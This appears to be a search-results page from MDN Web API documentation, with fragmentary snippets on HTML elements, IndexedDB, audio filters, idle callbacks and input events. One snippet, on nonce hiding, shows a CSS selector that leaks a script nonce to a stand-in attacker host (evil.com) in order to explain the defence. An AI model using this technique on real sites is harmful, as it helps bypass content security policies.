...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlhtmlelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
...And 2 more matches
HTMLIFrameElement.csp - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcsp experimentalchrome full support 61edge full support ≤79firefox ?
... webview android full support 61chrome android full support 61firefox android ?
...And 2 more matches
HTMLIFrameElement.src - Web APIs
the htmliframeelement.src property reflects the html referrerpolicy attribute of the <iframe> element defining which referrer is sent when fetching the resource.
... syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
HTMLImageElement.decode() - Web APIs
this can be used to initiate loading of the image prior to attaching it to an element in the dom (or adding it to the dom as a new element), so that the image can be rendered immediately upon being added to the dom.
... return value a promise which is resolved once the image data is ready to be used.
... usage notes one potential use case for decode(): when loading very large images (for example, in an online photo album), you can present a low resolution thumbnail image initially and then replace that image with the full-resolution image by instantiating a new htmlimageelement, setting its source to the full-resolution image's url, then using decode() to get a promise which is resolved once the full-resolution image is ready for use.
...And 2 more matches
HTMLImageElement.naturalWidth - Web APIs
this is the width at which the image is naturally drawn when no constraint or specific value is established for the image.
... this natural width is corrected for the pixel density of the device on which it's being presented, unlike the value of width.
... html <div class="box"> <img src="/files/16797/clock-demo-400px.png" class="image"> </div> <div class="output"> </div> the html features a 400x398 pixel image which is placed inside a <div>.
...And 2 more matches
HTMLImageElement.referrerPolicy - Web APIs
the htmlimageelement.referrerpolicy property reflects the html referrerpolicy attribute of the <img> element defining which referrer is sent when fetching the resource.
... "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.
... examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
...And 2 more matches
HTMLImageElement.x - Web APIs
<table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below.
... let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top).
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
HTMLImageElement.y - Web APIs
<table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below.
... let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top).
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
HTMLInputElement: invalid event - Web APIs
the invalid event fires when a submittable element has been checked for validity and doesn't satisfy its constraints.
...when a form is submitted, invalid events are fired at each form control that is invalid.
... the validity of submittable elements is checked before submitting their owner <form>, or after the checkvalidity() method of the element or its owner <form> is called.
...And 2 more matches
HTMLInputElement.stepUp() - Web APIs
ncrements: <input type="time" min="09:00" step="900"> datetime-local 1 (day) same day of the week: <input type="datetime-local" min="019-12-25t19:30" step="7"> number 1 0.1 increments <input type="number" min="0" step="0.1" max="10"> range 1 increments by 2: <input type="range" min="0" step="2" max="10"> the method, when invoked, changes the form control's value by the value given in the step attribute, multiplied by the parameter, within the constraints set on the form control.
... if the value before invoking the stepup() method is invalid—for example, if it doesn't match the constraints set by the step attribute—invoking the stepup() method will return a value that does match the form controls constraints.
...any other value is a multiplier of the step attribute value, which in this case is 5.
...And 2 more matches
HTMLLIElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmllielement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">ht...
...And 2 more matches
HTMLLegendElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmllegendelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
...And 2 more matches
HTMLLinkElement.as - Web APIs
the as property of the htmllinkelement interface returns a domstring representing the type of content being loaded by the html link, one of "script", "style", "image", "video", "audio", "track", "font", "fetch".
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetas experimentalchrome full support 50edge full support 17firefox full support 56ie full support yesopera full support 37safari full support yeswebview android full support 50chrome android full support 50firefox android full support 56oper...
...And 2 more matches
HTMLMediaElement.audioTracks - Web APIs
the returned list is live; that is, as tracks are added to and removed from the media element, the list's contents change dynamically.
... once you have a reference to the list, you can monitor it for changes to detect when new audio tracks are added or existing ones removed.
... see event handlers in audiotracklist to learn more about watching for changes to a media element's track list.
...And 2 more matches
HTMLMediaElement.load() - Web APIs
the amount of media data that is prefetched is determined by the value of the element's preload attribute.
... this method is generally only useful when you've made dynamic changes to the set of sources available for the media element, either by changing the element's src attribute or by adding or removing <source> elements nested within the media element itself.
... load() will reset the element and rescan the available sources, thereby causing the changes to take effect.
...And 2 more matches
HTMLMediaElement.srcObject - Web APIs
the srcobject property of the htmlmediaelement interface sets or returns the object which serves as the source of the media associated with the htmlmediaelement.
... the object can be a mediastream, a mediasource, a blob, or a file (which inherits from blob).
... note: as of march 2020, only safari supports setting objects other than mediastream.
...And 2 more matches
HTMLMediaElement.videoTracks - Web APIs
the returned list is live; that is, as tracks are added to and removed from the media element, the list's contents change dynamically.
... once you have a reference to the list, you can monitor it for changes to detect when new video tracks are added or existing ones removed.
... see event handlers in videotracklist to learn more about watching for changes to a media element's track list.
...And 2 more matches
HTMLMeterElement - Web APIs
the html <meter> elements expose the htmlmeterelement interface, which provides special properties and methods (beyond the htmlelement object interface they also have available to them by inheritance) for manipulating the layout and presentation of <meter> elements.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...And 2 more matches
HTMLOrForeignElement.nonce - Web APIs
the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by content security policy to determine whether a given fetch will be allowed to proceed.
... in later implementations, elements only expose their nonce attribute to scripts (and not to side-channels like css attribute selectors).
... nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
...And 2 more matches
HTMLQuoteElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlquoteelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...And 2 more matches
HTMLSelectElement.selectedOptions - Web APIs
syntax var selectedcollection = htmlselectelement.selectedoptions; value an htmlcollection which lists every currently selected htmloptionelement which is either a child of the htmlselectelement or of an htmloptgroupelement within the <select> element.
... html the html that creates the selection box and the <option> elements representing each of the food choices looks like this: <label for="foods">what do you want to eat?</label><br> <select id="foods" name="foods" size="7" multiple> <option value="1">burrito</option> <option value="2">cheeseburger</option> <option value="3">double bacon burger supreme</option> <option value="4">pepperoni pizza</option> <option value="5">taco</option> </select> <br> <button name="order" id=...
...note also the <button>, whose role it is to trigger fetching the htmlcollection of selected elements using the selected property.
...And 2 more matches
HTMLTimeElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltimeelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
...And 2 more matches
IDBDatabase.onclose - Web APIs
the onclose event handler of the idbdatabase interface handles the close event, which is fired when the database is unexpectedly closed.
...}; value a function which is called when the close event is fired.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
databases - Web APIs
return value a promise that resolves either to an error or a list of dictionaries, each with two elements, name and version.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdatabases experimentalchrome full support 71edge full support 79firefox no support nonotes no support nonotes notes see bug 934640.ie no support noopera full support 58safari no support nowebview android full support 71chrome android full support ...
...And 2 more matches
IDBIndex.keyPath - Web APIs
WebAPIIDBIndexkeyPath
finally, we iterate through each record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'keypath' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBIndex.objectStore - Web APIs
the current object store is logged to the console: it should be returned something like this: idbobjectstore { name: "contactslist", keypath: "id", indexnames: domstringlist[7], transaction: idbtransaction, autoincrement: false } finally, we iterate through each record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'objectstore' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBKeyRange.bound() - Web APIs
WebAPIIDBKeyRangebound
the lower key and upper key match and either of the bounds are open.
... db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'bound()' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBKeyRange.lower - Web APIs
WebAPIIDBKeyRangelower
after declaring the key range, we log its lower property value to the console, which should appear as "f".
... db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'lower' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBKeyRange.lowerOpen - Web APIs
after declaring the key range, we log its loweropen property value to the console, which should appear as "true": the lower bound is open, so won't be included in the range.
... db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'loweropen' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBKeyRange.upper - Web APIs
WebAPIIDBKeyRangeupper
after declaring the key range, we log its upper property value to the console, which should appear as "w".
... db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upper' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBKeyRange.upperOpen - Web APIs
after declaring the key range, we log its upperopen property value to the console, which should appear as "true": the upper bound is open, so won't be included in the range.
... db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upperopen' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBObjectStore.add() - Web APIs
returns an idbrequest object on which subsequent events related to this operation are fired.
...note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBObjectStore.count() - Web APIs
the count() method of the idbobjectstore interface returns an idbrequest object, and, in a separate thread, returns the total number of records that match the provided key or idbkeyrange.
... return value an idbrequest object on which subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBObjectStoreSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... the idbobjectstoresync interface of the indexeddb api provides synchronous access to an object store of a database.
...if this attribute is set to null, then the application must provide a key for each modification operation.
...And 2 more matches
IDBRequest.readyState - Web APIs
the state changes to done when the request completes successfully or when an error occurs.
... syntax var currentreadystate = request.readystate; value the idbrequestreadystate of the request, which takes one of the following two values: value meaning pending the request is pending.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBTransaction.abort() - Web APIs
the abort() method of the idbtransaction interface rolls back all the changes to objects in the database associated with this transaction.
...note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBTransactionSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... the idbtransactionsync interface of the indexeddb api provides a synchronous transaction on a database.
...when this method is called, the browser ignores all the changes performed to the objects of this database since this transaction was created.
...And 2 more matches
IIRFilterNode.getFrequencyResponse() - Web APIs
syntax iirfilternode.getfrequencyresponse(frequencyarray, magresponseoutput, phaseresponseoutput); parameters frequencyarray a float32array containing an array of frequencies, specified in hertz, which you want to filter.
... magresponseoutput a float32array to receive the computed magnitudes of the freqency response for each frequency value in the frequencyarray.
... phaseresponseoutput a float32array to receive the computed phase response values in radians for each frequency value in the input frequencyarray.
...And 2 more matches
IIRFilterNode - Web APIs
the iirfilternode interface of the web audio api is a audionode processor which implements a general infinite impulse response (iir) filter; this type of filter can be used to implement tone control devices and graphic equalizers as well.
... number of inputs 1 number of outputs 1 channel count mode "max" channel count same as on the input channel interpretation "speakers" typically, it's best to use the biquadfilternode interface to implement higher-order filters.
... once the node has been created, you can't change its coefficients.
...And 2 more matches
IdleDeadline.didTimeout - Web APIs
the read-only didtimeout property on the idledeadline interface is a boolean value which indicates whether or not the idle callback is being invoked because the timeout interval specified when window.requestidlecallback() was called has expired.
...your callback will typically check the value of didtimeout if it needs to perform an action even if the browser is too busy to grant you the time; you should react by performing the needed task or, ideally, a minimal amount of work that can be done to keep things moving along, then schedule a new callback to try again to get the rest of the work done.
... syntax var timedout = idledeadline.didtimeout; value a boolean which is true if the callback is running due to the callback's timeout period elapsing or false if the callback is running because the user agent is idle and is offering time to the callback.
...And 2 more matches
IdleDeadline.timeRemaining() - Web APIs
the callback can call this method at any time to determine how much time it can continue to work before it must return.
... by the time timeremaining() reaches 0, it is suggested that the callback should return control to the user agent's event loop.
... syntax timeremaining = idledeadline.timeremaining(); return value a domhighrestimestamp value (which is a floating-point number) representing the number of milliseconds the user agent estimates are left in the current idle period.
...And 2 more matches
IdleDeadline - Web APIs
it offers a method, timeremaining(), which lets you determine how much longer the user agent estimates it will remain idle and a property, didtimeout, which lets you determine if your callback is executing because its timeout duration expired.
... to learn more about how request callbacks work, see collaborative scheduling of background tasks.
... methods idledeadline.timeremaining() returns a domhighrestimestamp, which is a floating-point value providing an estimate of the number of milliseconds remaining in the current idle period.
...And 2 more matches
InputEvent() - Web APIs
inputeventinitoptional is a inputeventinit dictionary, having the following fields: inputtype: (optional) a string specifying the type of change for editible content such as, for example, inserting, deleting, or formatting text.
... data: (optional) a string containing characters to insert.
... this may be an empty string if the change doesn't insert text (such as when deleting characters, for example).
...And 2 more matches
InputEvent.dataTransfer - Web APIs
the datatransfer read-only property of the inputevent interface returns a datatransfer object containing information about richtext or plaintext data being added to or removed from editible content.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdatatransfer experimentalchrome full support 60edge full support 79firefox full support 67ie no support noopera full support 47safari no support nowebview android full support 60chrome android full support 60firefox android full support 67...
...And 2 more matches
InputEvent.getTargetRanges() - Web APIs
the gettargetranges() property of the inputevent interface returns an array of static ranges that will be affected by a change to the dom if the input event is not canceled.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
